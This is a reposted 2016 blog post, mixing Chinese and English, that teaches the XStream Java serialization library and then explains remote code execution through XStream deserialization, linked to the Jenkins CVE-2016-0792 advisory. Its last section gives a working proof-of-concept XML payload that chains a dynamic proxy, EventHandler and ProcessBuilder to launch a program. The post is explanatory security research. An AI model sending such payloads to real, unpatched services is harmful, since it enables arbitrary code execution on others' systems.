首页 > 其他 > 详细

RCE via XStream object deserialization

时间:2016-02-26 23:29:05      阅读:447      评论:0      收藏:0      [点我收藏+]

catalogue

1. Java xStream
2. DynamicProxyConverter
3. java.beans.EventHandler
4. RCE via XStream object deserialization
5. SECURITY-247 / CVE-2016-0792

 

1. Java xStream

xStream可以轻易的将Java对象和xml文档相互转换,而且可以修改某个特定的属性和节点名称,而且也支持json的转换。xStream不仅对XML的转换非常友好,而且提供annotation注解,可以在JavaBean中完成对xml节点、属性的描述。以及对JSON也支持,只需要提供相关的JSONDriver就可以完成转换

0x1: 安装测试

package com.littlehann; /**
 * Created by zhenghan.zh on 2016/2/26.
 */
import com.littlehann.Person;
import com.littlehann.PhoneNumber;
import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.HierarchicalStreamWriter;
import com.thoughtworks.xstream.io.json.JettisonMappedXmlDriver;
import com.thoughtworks.xstream.io.json.JsonHierarchicalStreamDriver;
import com.thoughtworks.xstream.io.json.JsonWriter;

public class XStreamTest {
    public static void main(String args[]) {
        //Initializing XStream
        XStream xstream = new XStream();
        xstream.alias("person", Person.class);
        xstream.alias("phonenumber", PhoneNumber.class);

        //Serializing an object to XML
        Person joe = new Person("Joe", "Walnes", new PhoneNumber(123, "1234-456"), new PhoneNumber(123, "9999-999"));
        //convert it to XML
        String xml = xstream.toXML(joe);
        System.out.println(xml);

        //Deserializing an object back from XML
        //Person newJoe = (Person)xstream.fromXML(xml);
        //System.out.println(newJoe.getFirstname());
        //System.out.println(newJoe.getLastname());
    }
}

技术分享

0x2: Simple Converter

The core of XStream consists of a registry of Converters. The responsibility of a Converter is to provide a strategy for converting particular types of objects found in the object graph, to and from XML.
XStream is provided with Converters for common types such as primitives, String, File, Collections, arrays, and Dates.

1. Setting up a simple example

package com.littlehann;

/**
 * Created by zhenghan.zh on 2016/2/26.
 */
public class Person {
    private String name;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }
}

create a person and convert it to XML

package com.littlehann;

/**
 * Created by zhenghan.zh on 2016/2/26.
 */
import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.xml.DomDriver;

public class PersonTest {
    public static void main(String[] args) {
        Person person = new Person();
        person.setName("Guilherme");

        XStream xStream = new XStream(new DomDriver());
        System.out.println(xStream.toXML(person));
    }

}

2. Creating a PersonConverter

package com.littlehann;

import com.thoughtworks.xstream.converters.Converter;
import com.thoughtworks.xstream.converters.MarshallingContext;
import com.thoughtworks.xstream.converters.UnmarshallingContext;
import com.thoughtworks.xstream.io.HierarchicalStreamReader;
import com.thoughtworks.xstream.io.HierarchicalStreamWriter;

/**
 * Created by zhenghan.zh on 2016/2/26.
 */
public class ConverterTest implements Converter {
    public boolean canConvert(Class clazz) {
        return clazz.equals(Person.class);
    }

    //The marshal method is responsible for translating an object to XML.
    public void marshal(Object value, HierarchicalStreamWriter writer,
                        MarshallingContext context) {
        //start casting the object to person
        Person person = (Person) value;
        // start creating a node called fullname and adding the person‘s name to it
        writer.startNode("fullname");
        //conversion usually takes place when calling the setValue method.
        writer.setValue(person.getName());
        writer.endNode();
    }

    public Object unmarshal(HierarchicalStreamReader reader,
                            UnmarshallingContext context) {
        Person person = new Person();
        reader.moveDown();
        person.setName(reader.getValue());
        reader.moveUp();
        return person;
    }
}

register our converter and see how our application main method looks like:

package com.littlehann;

/**
 * Created by zhenghan.zh on 2016/2/26.
 */
import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.xml.DomDriver;

public class PersonTest {
    public static void main(String[] args) {
        Person person = new Person();
        person.setName("Guilherme");

        XStream xStream = new XStream(new DomDriver());
        //simple call to registerConverter:
        xStream.registerConverter(new ConverterTest());
        xStream.alias("person", Person.class);
        System.out.println(xStream.toXML(person));
    }

}

3. Date Converter

create a simple calendar converter which uses the locale to convert the information.
Our converter will receive the Locale in its constructor and we will keep a reference to it in a member variable

package com.littlehann;

/**
 * Created by zhenghan.zh on 2016/2/26.
 */
import java.util.Calendar;
import java.util.GregorianCalendar;
import java.util.Locale;

import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.xml.DomDriver;

public class DateTest {

    public static void main(String[] args) {

        // grabs the current date from the virtual machine
        Calendar calendar = new GregorianCalendar();

        // creates the xstream
        XStream xStream = new XStream(new DomDriver());

        // brazilian portuguese locale
        xStream.registerConverter(new DateConverter(new Locale("pt", "br")));

        // prints the result
        System.out.println(xStream.toXML(calendar));

    }

}

DateConverter.java

package com.littlehann;

/**
 * Created by zhenghan.zh on 2016/2/26.
 */
import java.util.Locale;

import com.thoughtworks.xstream.converters.Converter;
import com.thoughtworks.xstream.converters.MarshallingContext;
import com.thoughtworks.xstream.converters.UnmarshallingContext;
import com.thoughtworks.xstream.io.HierarchicalStreamReader;
import com.thoughtworks.xstream.io.HierarchicalStreamWriter;
import com.thoughtworks.xstream.converters.ConversionException;
import java.util.Calendar;
import java.util.Date;
import java.util.GregorianCalendar;

import java.text.DateFormat;
import java.text.ParseException;

public class DateConverter implements Converter {

    private Locale locale;

    public DateConverter(Locale locale) {
        super();
        this.locale = locale;
    }

    public boolean canConvert(Class clazz) {
        return Calendar.class.isAssignableFrom(clazz);
    }

    public void marshal(Object value, HierarchicalStreamWriter writer,
                        MarshallingContext context) {
        Calendar calendar = (Calendar) value;

        // grabs the date
        Date date = calendar.getTime();

        // grabs the formatter
        DateFormat formatter = DateFormat.getDateInstance(DateFormat.FULL,
                this.locale);

        // formats and sets the value
        writer.setValue(formatter.format(date));
    }

    public Object unmarshal(HierarchicalStreamReader reader,
                            UnmarshallingContext context) {
        // creates the calendar
        GregorianCalendar calendar = new GregorianCalendar();

        // grabs the converter
        DateFormat formatter = DateFormat.getDateInstance(DateFormat.FULL,
                this.locale);

        // parses the string and sets the time
        try {
            calendar.setTime(formatter.parse(reader.getValue()));
        } catch (ParseException e) {
            throw new ConversionException(e.getMessage(), e);
        }

        // returns the new object
        return calendar;
    }

}

XStream在掉用fromXML解析XML流的时候,会递归地逐层进行解析,并根据节点名称将对应的节点实例化为对应的变量

XStream原生就支持多种Converter转换接口,但是如果我们希望实现自定义的数据类型以及自定义的转换逻辑,我们需要自己实现类以及对应的Converter接口

Relevant Link:

http://x-stream.github.io/download.html
http://x-stream.github.io/tutorial.html
http://www.cnblogs.com/hoojo/archive/2011/04/22/2025197.html
http://x-stream.github.io/converter-tutorial.html
http://x-stream.github.io/converters.html

 

2. DynamicProxyConverter
com.thoughtworks.xstream.converters.extended.DynamicProxyConverter

Converts a dynamic proxy to XML, storing the implemented interfaces and handler.

DynamicProxyConverter是一个比较特殊的转换类,它本身不进行XML反序列化,它只是一个实现接口,而实际的反序列化工作由InvocationHandler指定的对象完成

Relevant Link:

https://x-stream.github.io/javadoc/com/thoughtworks/xstream/converters/extended/DynamicProxyConverter.html
https://searchcode.com/codesearch/view/11375053

 

3. java.beans.EventHandler

The EventHandler class provides support for dynamically generating event listeners whose methods execute a simple statement involving an incoming event object and a target object.
The EventHandler class is intended to be used by interactive tools, such as application builders, that allow developers to make connections between beans. Typically connections are made from a user interface bean (the event source) to an application logic bean (the target).

0x1: Examples of Using EventHandler

EventHandler.create(ActionListener.class, target, "doActionEvent", "")

Relevant Link:

http://www.programcreek.com/java-api-examples/index.php?api=java.beans.EventHandler
https://docs.oracle.com/javase/7/docs/api/java/beans/EventHandler.html

 

3. RCE via XStream object deserialization

Xstream is not just a simple marshalling library as JAXB but a much more powerful serializing library capable of serializing to an XML representation really complex types and not just POJOs

DynamicProxyConverter: Any dynamic proxy generated by java.lang.reflect.Proxy
<dynamic-proxy>
    <interface>com.foo.Blah</interface>
    <interface>com.foo.Woo</interface>
    <handler class="com.foo.MyHandler">
        <something>blah</something>
    </handler>
</dynamic-proxy>    
The dynamic proxy itself is not serialized, however the interfaces it implements and the actual InvocationHandler instance are serialized. This allows the proxy to be reconstructed after deserialization.

This allow us to send an XML representation of a dynimic proxy where the InvocationHandler will be XStream serialized. The XML representation will look something like:

<dynamic-proxy>
  <interface>com.foo.Blah</interface>
  <interface>com.foo.Woo</interface>
  <handler class="com.foo.MyHandler">
    <something>blah</something>
  </handler>
</dynamic-proxy>

dynamic proxy is a way to intercept any call to an interface declared method so that when the method is invoked on the proxified interface we can hook the method call and inject any custom code

技术分享

Relevant Link:

http://www.pwntester.com/blog/2013/12/23/rce-via-xstream-object-deserialization38/
http://x-stream.github.io/converters.html
https://github.com/pwntester/XStreamPOC

 

5. RCE via XStream object deserialization

Jenkins has several API endpoints that allow low-privilege users to POST XML files that then get deserialized by Jenkins. Maliciously crafted XML files sent to these API endpoints could result in arbitrary code execution.
XStream是一个著名的反序列化的库,用途广泛,XStream可以用在JIRA, Confluence, Bamboo,甚至是Spring和Struts中

0x1: POC

1. Find out what Class the XML will be deserialized to (in this case com.company.model.Contact)

String payload =
"<sorted-set>" +
    "<string>littlehann</string>" +
    //2. Create a proxy for that class
    "<dynamic-proxy>" +
    "<interface>java.lang.Comparable</interface>" +
    //3. EventHandler\: Intercept/hook any call to any method in the interface
    "<handler class=\"java.beans.EventHandler\">" +
        //4. Replace the original call with the malicious payload
        " <target class=\"java.lang.ProcessBuilder\">" +
        " <command>" +
            " <string>notepad.exe</string>" +
        " </command>" +
        " </target>" +
        " <action>start</action>" +
    "</handler>" +
    "</dynamic-proxy>" +
"</sorted-set>"

//5. Send the serialized version of the proxy
Contact expl = (Contact) xstream.fromXML(payload);

总结流程

1. serialize an object that contains other objects and that in order to instantiate this object
2. a call to an interface method has to be made. This is where we will be able to inject our malicious code using an InvocationHandler. 
3. serializing a java.util.TreeSet containg different objects implementing the java.lang.Comparable interface 
4. when the Set is instantiated when fromXML, the Comparable interface methods are called to sort the Set
5. All we have to do now is to add a dynamic proxy intercepting any method call to the Comparable interface and replacing it with our payload
Set<Comparable> set = new TreeSet<Comparable>();  
set.add("foo");  
set.add(EventHandler.create(Comparable.class, new ProcessBuilder("notepad.exe","testfile"), "start"));

技术分享

Relevant Link:

https://wiki.jenkins-ci.org/display/SECURITY/Jenkins+Security+Advisory+2016-02-24
https://www.contrastsecurity.com/security-influencers/serialization-must-die-act-1-kryo
https://github.com/pwntester/XStreamPOC/blob/master/src/main/java/com/pwntester/xstreampoc/Main.java
http://www.pwntester.com/blog/2013/12/23/rce-via-xstream-object-deserialization38/

 

Copyright (c) 2016 LittleHann All rights reserved

 

RCE via XStream object deserialization

原文:http://www.cnblogs.com/LittleHann/p/5220308.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!